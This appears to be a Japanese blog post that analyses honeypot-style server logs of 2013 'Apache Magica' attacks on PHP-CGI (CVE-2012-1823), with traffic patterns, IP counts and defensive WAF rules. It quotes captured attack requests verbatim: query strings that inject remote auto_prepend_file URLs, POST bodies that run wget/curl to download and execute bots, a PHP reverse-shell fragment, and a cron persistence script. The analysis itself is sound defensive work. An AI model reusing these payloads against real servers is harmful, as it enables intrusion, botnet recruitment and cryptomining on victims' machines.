2013年のApache Magica攻撃まとめ
流石にネタ切れ感が出てきたけど、2013年も〆となったので、まだまだしつこくアパッチマギカ攻撃についてまとめておきたい。とりあえず2013年12月31日までに来ていたログ観察まとめ。
おさらいと復習
PHPアクセス先
以下の5つをまとめてアタックしてくるものが多かった。これは元のexploit-db.comに投稿されたコードがそうなっており、これを踏襲したコードが出回ったためであろう。
URLパターンごとによる考察
アクセスの際のメソッドとパターンは、以下の4つに大別できる。なお、どのパターンでも先述した「PHPアクセス先」をいくつかスキャンする傾向があるけど、それを全部挙げているとキリが無いため、ここでは/cgi-bin/php宛てに統一して書くことにする(/cgi-bin/php5とか/cgi-bin/php-cgi宛ては、丸めて/cgi-bin/php宛てのアクセスとして書く)。
分類番号 | メソッド | パスとパラメタ |
---|---|---|
1 | GET | /cgi-bin/php |
2 | GET | /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode(省略) |
3 | POST | //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+(省略) |
4 | POST | /cgi-bin/php?%2D%64+%61%6C%6C%6F(省略) |
以下、これらのパターンのアクセス数サマリと、考察について述べたいと思う。と言っても思うことをつらつら書くだけですが。
1) GET /cgi-bin/php 引数無し
これは散発的に見られた。見ての通りこのアクセス自体は何も悪さはできないが、Webサーバ側がこれで[500 Internal Server Error]や[403 Forbidden]を返せば、CGI版PHPがインストールされていると推察できる。
つまりこれは、ターゲット探しのアクセス、スキャン行為である。皆さんのサーバでは、きちんと[404 Not Found]を返していることを確認しましょう。
2) GET /cgi-bin/php?-d+allow_url_include%3D...(省略)
これはある意味、要注意のアクセス。もうちっと詳しくて見てみると以下のようなアクセスになっている。見やすくするため適宜改行を入れました。
GET/cgi-bin/php? -d+allow_url_include%3Don+ -d+safe_mode%3Doff+ -d+suhosin%2Esimulation%3Don+ -d+max_execution_time%3D0+ -d+disable_functions%3D\"\"+ -d+open_basedir%3Dnone+ -d+auto_prepend_file%3Dhttp%3A%2F%2Fwww.example.org%2Fdownload.txt+ -d+cgi%2Eforce_redirect%3D0+ -d+cgi%2Eredirect_status_env%3D0+ -n HTTP/1.0
CVE-2012-1823脆弱性を突く場合にはPOSTリクエストボディに実行したいPHPスクリプトを投げつけることが多いのだが、このパターンの攻撃では外部サーバに置いたPHPスクリプト(ここではwww.example.org/download.txt)をダウンロードして実行するようになっている。ちなみにこのパターンの人は、アタック時のソースIPアドレスと外部PHPスクリプトのダウンロード先ホストが同一の場合が多かった。普通はそれは別にするものなので、若干、貧乏臭い攻撃。
ただしこのパターンの攻撃をしてくる人は、パターン3や4のような「過剰な」URLエンコードはせず、例示のように必要最小限のURLエンコードしかしてこない。coolである。
この形式で気をつけないといけないのは、POSTメソッドではなくGETメソッドで攻撃が成立しているということ。つまり、WAF(Web Application Firewall)で/cgi-bin/phpへのPOSTを防いで安心と思っている人は、GETもちゃんと書かないとダメだよということだ。
ちなみにこのパターン、検証サーバでauto_prepend_fileにhttp://localhost/php-test/info.phpとして外部ファイルを置いて、ローカルサーバ上でテストしてみると、Apacheのアクセスログ上では以下のような順番になった。
127.0.0.1 - - [25/Dec/2013:19:17:59 +0900] "GET /php-test/info.php HTTP/1.0" 200 23 192.168.2.11 - - [25/Dec/2013:19:17:59 +0900] "GET /cgi-bin/php?-d+allow_url_include%3D(省略) HTTP/1.0" 200 59506
このように、外部スクリプト(ここでは/php-test/info.php)のダウンロードが先にアクセスログに出てから、アタックのログが出る(/cgi-bin/phpへのアタックの方が本来は早いはずなのに)。これは、Apacheはリクエストが終了したときにログを出力するためで、攻撃アクセスが完結するには先に外部スクリプトをダウンロードしないといけないからである。
つまり何が言いたいかと言うと、この攻撃パターンで外部PHPスクリプトのダウンロード先を突き止めて、そちらのアクセスログと付き合わせる際には、本来のアクセス順番とログ上の出力順番が逆転する可能性があることに注意が必要ということだ。
3) POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+(省略)
これは非常に目立ったパターン。URLデコードすると、"//cgi-bin/php?-d ……"のようになる。「cgi-bin」など、本来はURLエンコードする必要が無い文字列も全てエンコードされており、長大なリクエストになっていてアクセスログでもとても目立つ。そのため目に付いた人も多いだろう。
どうして先頭にスラッシュが2つあるのか
まずそもそも、最初のスラッシュが2つ連続しているのはなぜなのか。
- 単に間違えており、実害は無い(先頭でスラッシュが連続していても動作が変わらないのが普通)ため放置している
- ある種のWAFはパスを厳密に解釈するため、^/cgi-bin/php のアクセス制限をすり抜ることができる(ものがあるのかもしれない)
ただ、2つめのは私の勘ぐりすぎかな。例えば、「ひょっとしたら、以下のようなhttpd.confを書くとスラッシュ2つ書いたらすり抜けるのか?」と思ってやってみたけど、さすがにそんなことなく、ちゃんと[403 Forbidden]が返った。
<Location "/cgi-bin/php"> Order Deny,Allow Deny from all </Location>
というわけで、やっぱり直すの面倒だからそのままにしてるだけじゃないかな。
なんでこんなにエンコードしまくっているのか
先に述べたとおり、「cgi-bin」などはエンコードする必要無いのに、このパターンは「過剰に」エンコードしている。これも、ひょっとして一部のWAFでは「/cgi-bin/php を deny」というアクセス制限を書いただけでは、「/%63%67%69%2D%62%69%6E/%70%68%70」宛てはすり抜けちゃうのでは……と思ったけど、やっぱりそんなアホな製品は無いようだ。
とりあえず試しにmod_security2で試してみたけど、以下のルールだけでちゃんと"//%63%67%69%2D%62%69%6E/%70%68%70"もブロックできた。
SecRuleEngine On SecDefaultAction "phase:2,deny,status:403" SecRule REQUEST_URI "/cgi-bin/php" "id:1"
このパターンは過去にも見たことがある
ちなみにこの過剰にエンコードするパターンは、以前にParallels Plesk Panelの脆弱性を狙っている人たちもよく使っていた。
この時も、/phppath/phpというアクセスに対して、攻撃者は/%70%68%70%70%61%74%68/%70%68%70というアクセスを好んで利用していた。そして、アクセスの手口とかC&Cサーバの所在とかを見る限り、どうもこのときのParallels Plesk Panelの脆弱性を狙っていた人たちと、今回のパターン3で攻撃している人たちは、どうやら何かしらの繋がりがあるんじゃないかなぁ……と思えるフシがある。
まぁ想像の域を出ないので、単なる推測でしか無いのだけどね。東欧あたりが怪しい。
4) POST /cgi-bin/php?%2D%64+%61%6C%6C%6F(省略)
このパターンも今回の攻撃ではかなり見られた。特徴的なのは、アクセスURLの/cgi-bin/phpまでは普通なのだが、?パラメタ以降がパターン3と同様に「過剰に」エンコードしたパターンになること。なんでこんな風になっちまうのかは激しく謎である。
このパターンだと、"/cgi-bin/php"でgrepすればすぐ見つかっちゃうから、auto_prepend_fileパラメタなどがgrepで簡単に見つかるのを防ごうとしているのかもしれない。まぁ意図は謎。
ケースごとのIPアドレス分布
今回の攻撃で、各分類番号ごとのソースIPアドレスを数えたものが以下である。期間は2013/11/01から2013/12/31まで。
分類番号 | ユニークIPアドレス数 |
---|---|
1) GET /cgi-bin/php 引数無し | 17 |
2) GET /cgi-bin/php?-d+allow_url_include... | 4 |
3) POST //%63%67%69%2D%62%69%6E/%70%68%70?... | 11 |
4) POST /cgi-bin/php?%2D%64+%61%6C... | 77 |
このうち、それぞれのIPアドレスがどれくらいカブるかで、同じ人たちがやっているのかどうかが何となく分かると思う。それぞれのIPアドレスがどのくらいカブるかを示したのが次の表である。
分類2 | 分類3 | 分類4 | |
---|---|---|---|
分類1 | 4 | 0 | 1 |
分類2 | --- | 0 | 0 |
分類3 | --- | --- | 0 |
我ながら見にくくて分かりにくい表だが(笑)、つまり分類1と分類2で重複したIPアドレス数は4コ、分類3と分類4で重複したIPアドレス数はゼロである。そもそもの母数が少ないので、重複IPアドレスで論じるのもどうかと思うのだが(野良サーバが世の中にたくさんあって、その数が十分に大きければそもそもIPアドレスは重複しないのが普通)、まぁ以下に議論を進める。
分類2で攻撃した人たちは、分類1の一部と同じ人たち
先に挙げたとおり、分類2のパターンで攻撃してきた4つのIPアドレスは、全て分類1に含まれていた。以下4つである。
接続元IPアドレス | AS | 国名 |
---|---|---|
192.151.144.234 | AS33387 DataShack, LC | US |
94.102.51.238 | AS29073 Ecatel Network | NL |
94.102.56.237 | AS29073 Ecatel Network | NL |
94.102.63.245 | AS29073 Ecatel Network | NL |
この結果から、分類1でスキャンしている人たち(の一部)と、分類2で攻撃してくる人たちは、同じグループに所属する悪い人たちと見て間違いないだろう。本当に「悪い人」なのかは分からんが(ひょっとしたら普段は猫を飼っている良い人かもしれない)。
分類3と分類4のPOSTボディとC&Cサーバ
分類3と分類4は違うグルーピングと言ってみたが、本当だろうか。POSTリクエストボディで送りつけてくるスクリプトは、多くの場合はC&Cサーバに接続するボットを最終的にダウンロード実行させようとする。じゃぁこのC&Cサーバで少しは判断できるだろう(それが同じだったら、バックにいるのは同じ人たちだろう)。
本当はここで定量的に評価できればいいのだろうが、これが色々と混沌としており比較が難しい。なので以下は、単なる観察記を垂れ流すだけな感じになる。とりあえず11月13日に、分類3と分類4の両方からアタックが来ているので、それを比べてみる。
分類3
POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D(省略) HTTP/1.1 Host: -c Content-Type: application/x-www-form-urlencoded Content-Length: 136 <? system(" cd /tmp ; wget 207.56.197.xx/lol ; curl -O 207.56.197.xx/lol; fetch 207.56.197.xx/lol ; chmod +x lol ; ./lol ; rm -rf lol "); ?>
見ての通り、何やらlolというスクリプトをどうしても実行したいらしい。wgetして中をのぞくとPerlBotで、以下のように、C&Cサーバはsuoraphp.upol.cz(158.194.108.95)であった。
...(省略)... $servidor='suoraphp.upol.cz' unless $servidor; my $porta='3303'; my @canais=("#aiurea"); my @adms=("w","r"); my $nick = getnick(); my $ircname = getident2(); my $realname = "uptime"; ...(省略)...
分類4
POST /cgi-bin/php.cgi?%2D%64+%61(省略) HTTP/1.1 Host: 49.212.197.88 User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-form-urlencoded Content-Length: 2168 Connection: close <?php set_time_limit(0); $ip = '176.223.62.xx'; $port = 31337; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'unset HISTFILE; unset HISTSIZE;killall -9 perl;cd /var/tmp;wget ftp://37.59.xx.xx/bko;perl bko;curl -O ftp://37.59.xx.xx/bko;perl bko; rm -rf bko*;uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { .$pid = pcntl_fork();. ...(省略)...
ここでは、bkoというのを実行したいらしい。ftpなのだが認証はかかっていない(Anonymous FTP)ため、普通に拾ってこれる。中身はPerlスクリプトであった。bkoファイルの中身は以下である:
#!/usr/bin/perl use MIME::Base64; eval (decode_base64('IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM(省略) ...(省略)...
うわぁ、なんじゃこりゃ。見ての通り、コード全体をBase64でエンコードしている。仕方が無いので、デコードして中を覗いてみると、DDoS Perl IrcBotが出てきた。
$server = 'irc.ddospower.us' unless $server; my $port = '6667';
見ての通り、こちらのC&Cサーバはirc.ddospower.usである。なのでこの日のアタックは、分類3と分類4は違うグループっぽかった。
12月19日の分類2と分類3と分類4
別の日にあったやつも見てみる。12月19日。
分類2
GET /cgi-bin/php? -d+allow_url_include%3Don+ ...(省略)... -d+auto_prepend_file%3Dhttp%3A%2F%2Fhecks.ddosdev.com%2Fdownload.txt+ ...(省略)... -n HTTP/1.0
ということで、このdownload.txtを拾って中身を見てみる。
<?php set_time_limit(0); error_reporting(0); ignore_user_abort(true); system("cd /tmp; wget -c XXX.ddosdev.com/darthinvad3r; wget -c XXX.ddosdev.com/darthinvader; chmod 777 darthinvad3r; chmod 777 darthinvader"); ?>
どうやらdarthinvad3rというのを拾って何かしたいらしい。さっそく拾ってみる。
$ wget XXX.ddosdev.com/darthinvad3r $ file darthinvad3r darthinvad3r: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped
おや、バイナリファイル? これはPerlBotじゃないのか? ということでstringsコマンドでちょっと中身を見てみる。
...(省略)... Try `minerd --help' for more information. Usage: minerd [OPTIONS] Options: -a, --algo=ALGO specify the algorithm to use scrypt scrypt(1024, 1, 1) (default) sha256d SHA-256d -o, --url=URL URL of mining server (default: http://127.0.0.1:9332/) ...(省略)...
ああー。これ、BitCoin掘るやつか。あぶないあぶない。掘られるところだった。
分類3
POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D(省略) HTTP/1.1 Host: -h Content-Type: application/x-www-form-urlencoded Content-Length: 264 <? system(" killall -9 perl; killall -9 php; cd /tmp; wget ftp://199.71.214.xx/bko -O /tmp/bko; curl -O ftp://199.71.214.xx/bko -O /tmp/bko; fetch -U ftp://199.71.214.xx/bko -O /tmp/bko; lwp-download ftp://199.71.214.xx/bko -O /tmp/bko; perl /tmp/bko; rm -rf /mpbko*"); ?>
最後のrmコマンド、パスを打ち間違えていないか?
ここでどうしても実行したいらしいbkoは、DDoS Perl IrcBotだった。C&Cサーバは以下。
$server = 'dust.ddospower.us' unless $server; my $port = '80';
分類4
POST /cgi-bin/php?%2D%64+%61%6C(省略) HTTP/1.1 Host: 49.212.197.88 User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Connection: close <?php system("wget http://221.132.xx.xx/scen -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");
これはscenというのを実行したいらしい。拾ってきて中身を確認する。
#!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.xx.xx/in -O .ii chmod +x .ii ./.ii echo "@weekly wget -q http://221.132.xx.xx/inc -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron crontab /tmp/cron rm -rf /tmp/cron
こやつ、cronに登録して定期実行させようとしている。
そして、また何かダウンロードしている。inファイルとやらを落としてみる。これはバイナリファイルだった。
$ file in in: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped
中を覗くと、これは常駐してバックドアを開く系の何かかな。